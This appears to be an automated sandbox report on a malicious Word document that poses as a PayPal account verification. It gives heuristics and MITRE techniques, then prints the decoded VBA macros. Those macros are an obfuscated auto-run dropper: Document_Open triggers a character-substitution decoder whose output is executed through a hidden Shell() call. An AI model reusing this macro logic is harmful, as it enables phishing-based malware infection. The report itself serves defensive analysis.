MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Microsoft Office document containing VBA macros. The Document_Open macro executes a Shell() command, which is highly suspicious. The document body impersonates PayPal, requesting sensitive personal information under the guise of account verification. The VBA macro likely uses the Shell command to download and execute a second-stage payload, although the exact details are obfuscated. The presence of a Shell() call and the macro's auto-execution point to a downloader or dropper.
Heuristics 6
-
ClamAV: Doc.Malware.Generic-6717671-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6717671-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9199 bytes |
SHA-256: ff29764e0631ece68560f461ef1cf11a9a5b633204804f2f8b9517c29d9139a4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
context1 = ""
context1 = "ctx"
CONTEXT context1
context1 = ""
End Sub
Attribute VB_Name = "vector"
Attribute VB_Base = "0{BEDC9082-691B-49A6-9B5B-7F670BBC10FC}{CC33A857-A2E3-4FC5-9ABC-36E14D5E01BE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub ending_Change()
memset = 100
memset = 93
memset = 63
memset = 85
memset = 62
memset = 66
memset = 63
memset = 14
memset = 2
memset = 29
memset = 8
memset = 63
all = vector.ending
memset = 15
memset = 7
memset = 50
memset = 47
memset = 77
memset = 82
memset = 66
memset = 1
memset = 1
memset = 87
memset = 9
memset = 64
memset = 13
memset = 15
memset = 58
memset = 39
memset = 2
memset = 19
memset = 28
memset = 75
memset = 31
memset = 40
memset = 42
memset = 36
Shell all, 0
memset = 51
memset = 81
memset = 71
memset = 55
memset = 24
memset = 36
memset = 71
memset = 18
memset = 18
memset = 72
memset = 16
memset = 42
memset = 92
memset = 11
End Sub
Private Sub enough_Change()
unknown
End Sub
Private Sub NO_UNIX_BACKTRACE_SUPPORT_Change()
End Sub
Attribute VB_Name = "Output"
Public Sub CONTEXT(fd)
vector.enough = fd
End Sub
Attribute VB_Name = "better"
Sub new2(failure, ByRef can)
signo = 1
can = 1
std signo, can, failure
End Sub
Sub meant(BOOL, are, ByRef include)
include = Right(Left(BOOL, are), 1)
End Sub
Sub OSX(operation, ByRef info)
info = ""
IsAddressOnStack = 1
cstring IsAddressOnStack, info, operation
End Sub
Sub cstring(ByRef in2, ByRef illegal, construction)
by = Len(construction)
If in2 <= by Then
mt = ""
meant construction, in2, mt
nt = 1
new2 mt, nt
rs = ""
reportStatus nt - 1, rs
illegal = illegal + rs
in2 = in2 + 1
cstring in2, illegal, construction
End If
End Sub
Sub std(ByRef signo, ByRef can, failure)
If signo < Len(vector.BOOL) Then
mt = ""
meant vector.BOOL, signo, mt
If failure <> mt Then
signo = signo + 1
std signo, can, failure
Else
can = signo
End If
End If
End Sub
Sub reportStatus(x, SIGINT)
SIGINT = ""
If x < 1 Then
meant vector.BOOL, Len(vector.BOOL) + x, SIGINT
Else
meant vector.BOOL, x, SIGINT
End If
End Sub
Attribute VB_Name = "went"
Sub unknown()
sx = ""
OSX vector.fler, sx
vector.coprocessor = sx
vector.ending = vector.coprocessor
End Sub
' Processing file: /opt/analyzer/scan_staging/295b8b042e0c48058578fef6931a4ce7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1320 bytes
' Line #0:
' FuncDefn (Sub Document_Open())
' Line #1:
' LitStr 0x0000 ""
' St context1
' Line #2:
' LitStr 0x0003 "ctx"
' St context1
' Line #3:
' Ld context1
' ArgsCall CONTEXT 0x0001
' Line #4:
' LitStr 0x0000 ""
' St context1
' Line #5:
' EndSub
' Macros/VBA/vector - 3111 bytes
' Line #0:
' Line #1:
' FuncDefn (Private Sub ending_Change())
' Line #2:
' Line #3:
' LitDI2 0x0064
' St memset
' Line #4:
' LitDI2 0x005D
' St memset
' Line #5:
' LitDI2 0x003F
' St memset
' Line #6:
' LitDI2 0x0055
' St memset
' Line #7:
' LitDI2 0x003E
' St memset
' Line #8:
' LitDI2 0x0042
' St memset
' Line #9:
' LitDI2 0x003F
' St memset
' Line #10:
' LitDI2 0x000E
' St memset
' Line #11:
' LitDI2 0x0002
' St memset
' Line #12:
' LitDI2 0x001D
' St memset
' Line #13:
' LitDI2 0x0008
' St memset
' Line #14:
' LitDI2 0x003F
' St memset
' Line #15:
' Ld vector
' MemLd ending
' St all
' Line #16:
' LitDI2 0x000F
' St memset
' Line #17:
' LitDI2 0x0007
' St memset
' Line #18:
' LitDI2 0
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.